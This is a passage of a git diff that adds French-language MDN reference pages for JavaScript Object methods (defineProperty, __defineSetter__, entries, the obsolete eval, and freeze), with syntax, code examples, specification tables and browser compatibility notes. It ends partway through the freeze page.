+<p>Il est toujours important de savoir comment les valeurs par défaut sont appliquées. Le comportement est souvent différent entre une affectation simple et l'utilisation de <code>Object.defineProperty()</code>. Par exemple :</p>
+
+<pre class="brush: js">var o = {};
+
+o.a = 1;
+// est équivalent à :
+Object.defineProperty(o, "a", {value : 1,
+                               writable : true,
+                               configurable : true,
+                               enumerable : true});
+
+
+// D'un autre côté,
+Object.defineProperty(o, "a", {value : 1});
+// sera équivalent à :
+Object.defineProperty(o, "a", {value : 1,
+                               writable : false,
+                               configurable : false,
+                               enumerable : false});
+</pre>
+
+<h3 id="Accesseurs_et_mutateurs_adaptés">Accesseurs et mutateurs adaptés</h3>
+
+<p>L'exemple ci-dessous illustre comment implémenter un objet qui archive des données. Lorsque la propriété <code>température</code> est définie, on ajoute une entrée au tableau <code>archive</code> :</p>
+
+<pre class="brush: js">function Archiviste() {
+  var température = null;
+  var archive = [];
+
+  Object.defineProperty(this, "température",{
+    get: function() {
+      console.log("accès !");
+      return température;
+    },
+    set: function(value) {
+      température = value;
+      archive.push({val: température});
+    }
+  });
+
+  this.getArchive = function() {return archive;};
+}
+
+var arc = new Archiviste();
+arc.température; // "accès !"
+arc.température = 11;
+arc.température = 13;
+arc.getArchive(); // [{val: 11}, {val: 13}]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">É tat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{SpecName('ESDraft', '#sec-object.defineproperty', 'Object.defineProperty')}}</p>
+   </td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.defineProperty")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<h3 id="Redéfinir_la_propriété_length_d'un_tableau_(Array)">Redéfinir la propriété <code>length</code> d'un tableau (<code>Array</code>)</h3>
+
+<p>Il est possible de redéfinir la propriété {{jsxref("Array.length", "length")}} utilisée pour les tableaux, avec les restrictions vues. (La propriété <code>length</code> est initialement non-configurable, non-enumérable et accessible en écriture (<code>writable</code> vaut <code>true</code>)). Ainsi, sur un tableau, si rien n'a été fait, on peut modifier la valeur de la propriété<code> length</code> ou la rendre non accessible en écriture. Il n'est pas permis de changer son caractère énumérable ou configurable. Cependant, tous les navigateurs n'autorisent pas cette redéfinition.</p>
+
+<p>Les versions de Firefox 4 à 22 renverront une exception {{jsxref("TypeError")}} pour chaque tentative (licite ou non) de modification de la propriété <code>length</code> d'un tableau.</p>
+
+<p>Pour les versions de Chrome qui implémentent <code>Object.defineProperty()</code>, elles ignorent, dans certaines circonstances, une redéfinition de la propriété utilisant une valeur différente de la valeur courante de <code>length</code>. Sous certaines circonstances, le changement de l'accès en écriture n'aura aucun effet (et ne renverra aucune exception). Les méthodes relatives comme  {{jsxref("Array.prototype.push")}} ne respectent pas le non accès en écriture.</p>
+
+<p>Pour les versions de Safari qui implémentent <code>Object.defineProperty()</code> elles ignorent la redéfinition d'une valeur différente de la valeur courante. Toute tentative de modifier l'accès en écriture échouera silencieusement (aucune modification effective, aucune exception renvoyée).</p>
+
+<p>Seules les versions Internet Explorer 9 et supérieures et Firefox 23 et supérieures semblent supporter complètement la redéfinition de la propriété <code>length</code> pour les tableaux. À l'heure actuelle, il n'est pas conseillé de s'attendre à ce qu'une telle redéfinition fonctionne ou ne fonctionne pas. Même dans le cas où on peut supposer que cela fonctionne de façon cohérente : <a href="https://whereswalden.com/2013/08/05/new-in-firefox-23-the-length-property-of-an-array-can-be-made-non-writable-but-you-shouldnt-do-it/">ce n'est pas vraiment une bonne idée de le faire</a> (en anglais).</p>
+
+<h3 id="Notes_spécifiques_relatives_à_Internet_Explorer_8">Notes spécifiques relatives à Internet Explorer 8</h3>
+
+<p>Internet Explorer 8 a implémenté une méthode <code>Object.defineProperty()</code> <a class="external" href="https://msdn.microsoft.com/en-us/library/dd229916%28VS.85%29.aspx">uniquement utilisable sur les objets DOM</a>. Quelques éléments sont à noter :</p>
+
+<ul>
+ <li>L'utilisation de <code>Object.defineProperty()</code> sur les objets natifs renvoie une erreur.</li>
+ <li>Les attributs de propriétés doivent être définis avec certaines valeurs. <code>true</code> (pour <code>Configurable</code>), <code>true</code> (pour <code>enumerable</code>), <code>true</code> (pour <code>writable</code>) pour les descripteurs de données et <code>true</code> pour <code>configurable</code>, <code>false</code> pour <code>enumerable</code> pour les descripteurs d'accesseur. Fournir d'autres valeurs résultera en une erreur (à confirmer).</li>
+ <li>Pour modifier une propriété, il faut d'abord la supprimer. Si ça n'a pas été fait, elle reste telle quelle.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Caract%C3%A8re_%C3%A9num%C3%A9rable_des_propri%C3%A9t%C3%A9s_et_rattachement">Énumérabilité et maîtrise des propriétés</a></li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_get", "get")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_set", "set")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineProperty/Exemples_suppl%C3%A9mentaires">Exemples supplémentaires utilisant <code>Object.defineProperty</code></a></li>
+ <li>{{jsxref("Reflect.defineProperty()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/definesetter/index.html b/files/fr/web/javascript/reference/objets_globaux/object/definesetter/index.html
new file mode 100644
index 0000000000..21dce0f35e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/definesetter/index.html
@@ -0,0 +1,115 @@
+---
+title: Object.prototype.__defineSetter__()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/defineSetter
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__
+---
+<div>{{JSRef}}</div>
+
+<div class="warning">
+<p><strong>Attention :</strong> Cette fonctionnalité est dépréciée et il est préférable d'utiliser l'API {{jsxref("Object.defineProperty()")}} et <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">la syntaxe d'initialisation d'objets</a>. Toutefois, <code>__defineGetter__</code> est largement utilisée sur le Web et est implémentée. Il est donc peu probable que les navigateurs retirent cette méthode.</p>
+</div>
+
+<p>La méthode <code><strong>__defineSetter__</strong></code> permet de lier une propriété d'un objet à une fonction qui sera exécutée pour toute tentative de définition/changement de cette propriété.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__defineSetter__(<var>prop</var>, <var>fun</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Une chaîne de caractères qui contient le nom de la propriété qu'on souhaite lier à la fonction.</dd>
+ <dt><code>fun</code></dt>
+ <dd>Une fonction à appeler pour chaque modification de la propriété. Cette fonction prend la forme suivante :
+ <pre class="brush: js">function(<var>val</var>) { . . . }</pre>
+
+ <dl>
+  <dt><code>val</code></dt>
+  <dd>Un alias pour la variable contenant la nouvelle valeur qu'on souhaite affecter à <code>prop</code>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>__defineSetter__</code> permet de définir un {{jsxref("Opérateurs/L_opérateur_set", "mutateur", "", 1)}} sur un objet pré-existant.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Méthode non-standard et dépréciée
+
+var o = {};
+o.__defineSetter__('valeur', function(val) { this.uneAutreValeur = val; });
+o.valeur = 5;
+console.log(o.valeur); // undefined
+console.log(o.uneAutreValeur); // 5
+
+
+// Façons standard
+
+// En utilisant l'opérateur set
+var o = { set valeur(val) { this.uneAutreValeur = val; } };
+o.valeur = 5;
+console.log(o.valeur); // undefined
+console.log(o.uneAutreValeur); // 5
+
+// En utilisant Object.defineProperty
+var o = {};
+Object.defineProperty(o, 'valeur', {
+  set: function(val) {
+    this.uneAutreValeur = val;
+  }
+});
+o.valeur = 5;
+console.log(o.valeur); // undefined
+console.log(o.uneAutreValeur); // 5
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.__defineSetter__', 'Object.prototype.__defineSetter__()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.defineSetter")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}}</li>
+ <li>L'opérateur {{jsxref("Opérateurs/L_opérateur_set", "set")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.lookupGetter","Object.prototype.__lookupGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.lookupSetter","Object.prototype.__lookupSetter__()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_getters_et_setters">Guide JavaScript : Définir des getters et setters</a></li>
+ <li><a href="https://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">[Billet de blog] Deprecation of __defineGetter__ and __defineSetter__</a> (en anglais)</li>
+ <li>{{bug(647423)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/object/entries/index.html
new file mode 100644
index 0000000000..3677bdc3f1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/entries/index.html
@@ -0,0 +1,162 @@
+---
+title: Object.entries()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/entries
+tags:
+  - ECMAScript2016
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.entries()</strong></code> renvoie un tableau des propriétés propres énumérables d'un objet dont la clé est une chaîne de caractères, sous la forme de paires <code>[clé, valeur]</code>, dans le même ordre qu'une boucle {{jsxref("Instructions/for...in", "for...in")}} (la boucle <code>for-in</code> est différente car elle parcourt la chaîne des prototypes).</p>
+
+<p>L'ordre du tableau renvoyé par cette méthode ne dépend pas de la façon dont l'objet est défini. S'il faut garantir un certain ordre, on pourra utiliser la méthode {{jsxref("Array.sort()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-entries.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.entries(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite connaître les propriétés propres énumérables dont la clé est une chaîne de caractères, sous la forme de paires <code>[clé, valeur]</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau qui contient les propriétés énumérables propres de l'objet sous la forme de paires <code>[clé, valeur]</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.entries()</code> renvoie un tableau dont les éléments sont des paires (des tableaux à deux éléments)  <code>[clé, valeur]</code> qui correspondent aux propriétés énumérables qui sont directement présentes sur l'objet passé en argument. L'ordre du tableau est le même que celui utilisé lorsqu'on parcourt les valeurs manuellement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var obj = { toto: "truc", machin: 42 };
+console.log(Object.entries(obj)); // [ ['toto', 'truc'], ['machin', 42] ]
+
+// Un objet semblable à un tableau
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]
+
+// Un objet semblable à un tableau
+// dont les clés sont aléatoirement ordonnées
+var un_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.entries(un_obj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ]
+
+// getToto est une propriété non énumérable
+var mon_obj = Object.create({}, { getToto: { value: function() { return this.toto; } } });
+mon_obj.toto = "truc";
+console.log(Object.entries(mon_obj)); // [ ['toto', 'truc'] ]
+
+// un argument de type primitif sera
+// converti en un objet
+console.log(Object.entries("toto")); // [ ['0', 't'], ['1', 'o'], ['2', 't'],  ['3', 'o'] ]
+
+// Un tableau vide pour les types primitifs qui n'ont pas de propriétés
+console.log(Object.entries(100)); // [ ]
+
+// parcourir les clés-valeurs
+var autreObjet = {a:5, b:7, c:9};
+
+for (var [cle, valeur] of Object.entries(autreObjet)){
+  console.log(cle + ' ' + valeur);
+}
+
+// Ou encore, en utilisant les méthodes génériques
+Object.entries(autreObjet).forEach(([clé, valeur]) =&gt; {
+  console.log(clé + ' ' + valeur);
+});
+</pre>
+
+<h3 id="Convertir_un_objet_en_Map">Convertir un objet en <code>Map</code></h3>
+
+<p>Le constructeur {{jsxref("Map", "new Map()")}} accepte un argument itérable pour décrire les entrées du tableau associatif. Grâce à <code>Object.entries</code>, il est possible de convertir simplement un objet {{jsxref("Object")}} en un objet {{jsxref("Map")}} :</p>
+
+<pre class="brush: js">var obj = { toto: "truc", machin: 42 };
+var map = new Map(Object.entries(obj));
+console.log(map); // Map { toto: "truc", machin: 42 }</pre>
+
+<h3 id="Parcourir_un_objet">Parcourir un objet</h3>
+
+<p>En utilisant <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition#Décomposition_d'un_tableau">la décomposition des tableaux</a>, on peut simplement parcourir les différentes propriétés d'un objet :</p>
+
+<pre class="brush: js">const obj = { toto: "truc", bidule: 42 };
+Object.entries(obj).forEach(
+  ([clé, valeur]) =&gt; console.log(`${clé}: ${valeur}`)
+);
+// "toto: truc"
+// "bidule: 42"</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Afin d'ajouter le support pour <code>Object.entries</code> dans des environnements plus anciens qui ne supportent pas la méthode nativement, vous pouvez utiliser une prothèse comme celle proposée sur le dépôt <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> ou sur le dépôt <a href="https://github.com/es-shims/Object.entries">es-shims/Object.entries</a>.</p>
+
+<p>Vous pouvez également utiliser la prothèse suivante (qui nécessitera la prothèse pour <code>Object.prototype.keys()</code> si on souhaite être compatible avec IE 8 et les versions antérieures) :</p>
+
+<pre class="brush: js">if (!Object.entries) {
+  Object.entries = function( obj ){
+    var ownProps = Object.keys( obj ),
+        i = ownProps.length,
+        resArray = new Array(i);
+    while (i--)
+      resArray[i] = [ownProps[i], obj[ownProps[i]]];
+
+    return resArray;
+  };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-object.entries', 'Object.entries')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.entries")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Énumérabilité et rattachement des propriétés</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.fromEntries()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/eval/index.html b/files/fr/web/javascript/reference/objets_globaux/object/eval/index.html
new file mode 100644
index 0000000000..ae6e095928
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/eval/index.html
@@ -0,0 +1,47 @@
+---
+title: Object.prototype.eval()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/eval
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.eval
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>La méthode <code><strong>Object.eval()</strong></code> permet d'évaluer une chaîne de caractères contenant du code JavaScript dans le contexte de l'objet. Cette méthode a été retirée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.eval(<var>string</var>)</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>N'importe quelle chaîne de caractères qui représente une expression JavaScript ou une séquence d'instructions. L'expression peut contenir des variables et des propriétés d'objets existants.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>eval</code> ne peut plus être utilisée à partir d'un objet. Il faut utiliser la méthode {{jsxref("eval", "eval")}} à la place.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.eval")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("eval")}} (la méthode de l'objet global)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/freeze/index.html b/files/fr/web/javascript/reference/objets_globaux/object/freeze/index.html
new file mode 100644
index 0000000000..e8c8d7febe
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/freeze/index.html
@@ -0,0 +1,257 @@
+---
+title: Object.freeze()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/freeze
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.freeze()</strong></code> permet de geler un objet, c'est-à-dire qu'on empêche d'ajouter de nouvelles propriétés, de supprimer ou d'éditer des propriétés existantes, y compris en ce qui concerne leur caractère énumérable, configurable ou pour l'accès en écriture. L'objet devient ainsi immuable. La méthode renvoie l'objet ainsi « gelé ».</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-freeze.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.freeze(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet à geler.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet qui a été passé à la fonction.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Rien ne pourra être ajouté ou supprimé dans l'ensemble des propriétés de l'objet gelé. Toute tentative échouera, silencieusement ou via une exception {{jsxref("TypeError")}} (la plupart du temps en {{jsxref("Strict_mode", "mode strict", "", 1)}}).</p>
+
+<p>Les propriétés qui sont des données ne pourront pas être changées et les attributs <code>writable</code> et <code>configurable</code> vaudront <code>false</code>. Les propriétés qui sont des accesseurs ou des mutateurs fonctionneront de la même façon (et ne changeront pas la valeur associée malgré le fait qu'il n'y ait pas d'erreur). Les propriétés dont les valeurs sont des objets pourront être modifiées si ces objets ne sont pas gelés. Les tableaux peuvent également être gelés ce qui empêche alors d'ajouter ou de retirer des éléments ou de modifier les éléments existants si ceux-ci ne sont pas des objets.</p>
+
+<p>La fonction renvoie l'objet passé en argument, elle ne crée pas une copie « gelée ».</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Geler_des_objets">Geler des objets</h3>
+
+<pre class="brush: js">var obj = {
+  prop: function (){},
+  toto: "truc"
+};
+
+// On peut ajouter de nouvelles propriétés,
+// éditer ou supprimer celles existantes
+obj.toto = "machin";
+obj.bidule = "woof";
+delete obj.prop;
+
+// L'argument et la valeur renvoyée correspondent au
+// même objet.
+// Il n'est pas nécessaire d'utiliser la valeur renvoyée
+// pour geler l'objet original.
+var o = Object.freeze(obj);
+
+o === obj; // true
+Object.isFrozen(obj); // true
+
+// Maintenant que l'objet est gelé, les changements échoueront
+obj.toto = "eheh"; // échoue silencieusement
+obj.roxor = "ga bu zo meu"; // échoue silencieusement et n'ajoute
+                            // pas la propriété
+
+// ...en mode strict, l'échec se traduira par une exception TypeErrors
+function echec(){
+  "use strict";
+  obj.toto = "bipbip"; // renvoie une TypeError
+  delete obj.toto;     // renvoie une TypeError
+  delete obj.roxor;    // renvoie true car l'attribut n' a pas été ajouté
+  obj.bipbip = "arf";  // renvoie une  TypeError
+}
+
+echec();
+
+// Les changements via Object.defineProperty échoueront également
+// renvoie une TypeError
+Object.defineProperty(obj, "ohoh", { value: 17 });
+// renvoie une TypeError
+Object.defineProperty(obj, "toto", { value: "eit" });
+
+// Il est également impossible de modifier le prototype.
+// Les deux instructions suivantes déclencheront une TypeError.
+Object.setPrototypeOf(obj, { x: 20 });
+obj.__proto__ = { x: 20 };
+</pre>
+
+<h3 id="Geler_un_tableau">Geler un tableau</h3>
+
+<pre class="brush: js">let a = [0];
+Object.freeze(a);
+// Le tableau ne peut plus être modifié
+
+a[0] = 1;  // échoue silencieusement
+a.push(2); // échoue silencieusement
+
+// en mode strict, de telles tentatives
+// déclencheront des exceptions TypeError
+function echec() {
+  "use strict"
+  a[0] = 1;
+  a.push(2);
+}
+
+echec();
+</pre>
+
+<p>L'exemple qui suit illustre comment les propriétés qui sont des objets peuvent être éditées (la méthode <code>freeze</code> ne s'applique que sur l'objet courant et de façon superficielle).</p>
+
+<pre class="brush: js">obj1 = {
+  internal: {}
+};
+
+Object.freeze(obj1);
+obj1.internal.a = 'valeurA';
+
+obj1.internal.a // 'valeurA'</pre>
+
+<p class="brush: js">L'objet qui est gelé est immuable mais ce n'est pas nécessairement une constante. Pour obtenir une constante, il faut que l'ensemble des références (directes et indirectes) pointe vers des objets immuables. Les chaînes de caractères, les nombres et les booléens sont toujours immuables. La plupart du temps, on aura besoin de créer des constantes au cas par cas (et non de façon générale).</p>
+
+<h3 class="brush: js" id="Qu'est-ce_que_le_gel_«_superficiel_»_(shallow_freeze)">Qu'est-ce que le gel « superficiel » ? (<em>shallow freeze</em>)</h3>
+
+<p>Lorsqu'on appelle <code>Object.freeze(monObjet)</code>, le gel ne s'applique qu'aux propriétés directement rattachées à <code>monObjet</code>. L'ajout, la suppression ou la réaffectation ne sont empêchées que sur l'objet directement. Si les valeurs de ces propriétés sont également des objets, ces derniers ne sont pas gelés et on peut leur ajouter/supprimer/réaffecter des valeurs.</p>
+
+<pre class="brush: js">var employé = {
+  nom: "Leroy",
+  designation: "Développeur",
+  adresse: {
+    cp: "72000",
+    ville: "Le Mans"
+  }
+};
+
+Object.freeze(employé);
+
+employé.nom = "John"; // propriété directe, la réaffectation échoue en silence
+employé.adresse.ville = "Paris"; // propriété d'un objet fils : modifiable
+
+console.log(employé.adresse.ville); // affichera Paris
+</pre>
+
+<p class="brush: js">Pour rendre l'objet complètement immuable, on gèle chacun des objets qu'il contient. Voici un exemple simple de fonction pour parcourir les propriétés qui sont des objets et les geler (attention, cela ne gère pas le cas où on a des cycles de références, ce qui entraînerait une boucle infinie).</p>
+
+<pre class="brush: js">function deepFreeze(obj) {
+
+  // On récupère les noms des propriétés définies sur obj
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  // On gèle les propriétés avant de geler l'objet
+  for(let name of propNames){
+    let value = obj[name];
+    obj[name] = value &amp;&amp; typeof value === "object" ?
+      deepFreeze(value) : value;
+  }
+
+  // On gèle l'objet initial
+  return Object.freeze(obj);
+}
+
+obj2 = {
+  internal: {
+    a: null
+  }
+};
+
+deepFreeze(obj2);
+obj2.internal.a = 'valeurB'; // échouera silencieusement en mode non-strict
+obj2.internal.a; // null</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si l'argument passé à la méthode n'est pas un objet mais est d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ECMAScript 2015 (ES2015), un argument qui n'est pas un objet sera traité comme un objet ordinaire gelé et sera renvoyé tel quel par la méthode.</p>
+
+<pre class="brush: js">Object.freeze(1);
+// TypeError: 1 is not an object - code ES5
+
+Object.freeze(1);
+// 1                             - code ES2015</pre>
+
+<p>Geler un {{domxref("ArrayBufferView")}} contenant des éléments entraînera une exception {{jsxref("TypeError")}} car ce sont des vues sur des zones mémoires.</p>
+
+<pre class="brush: js">&gt; Object.freeze(new Uint8Array(0)) // Aucun élément
+Uint8Array []
+
+&gt; Object.freeze(new Uint8Array(1)) // Avec des éléments
+TypeError: Cannot freeze array buffer views with elements
+
+&gt; Object.freeze(new DataView(new ArrayBuffer(32))) // Aucun élément
+DataView {}
+
+&gt; Object.freeze(new Float64Array(new ArrayBuffer(64), 63, 0)) // Aucun élément
+Float64Array []
+
+&gt; Object.freeze(new Float64Array(new ArrayBuffer(64), 32, 2)) // Avec des éléments
+TypeError: Cannot freeze array buffer views with elements
+</pre>
+
+<p>On notera que les trois propriétés standard (<code>buf.byteLength</code>, <code>buf.byteOffset</code> et <code>buf.buffer</code>) sont en lecture seule (comme pour {{jsxref("ArrayBuffer")}} et {{jsxref("SharedArrayBuffer")}}) : il n'y a donc aucune raison de vouloir geler ces propriétés.</p>
+
+<h3 id="Comparaison_avec_Object.seal()">Comparaison avec <code>Object.seal()</code></h3>
+
+<p>Lorsqu'on utilise la méthode <code>Object.freeze()</code>, les propriétés existantes d'un objet deviennent immuables. En revanche, avec {{jsxref("Object.seal()")}}, il est toujours possible de modifier la valeur des propriétés existantes d'un objet scellé.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td>
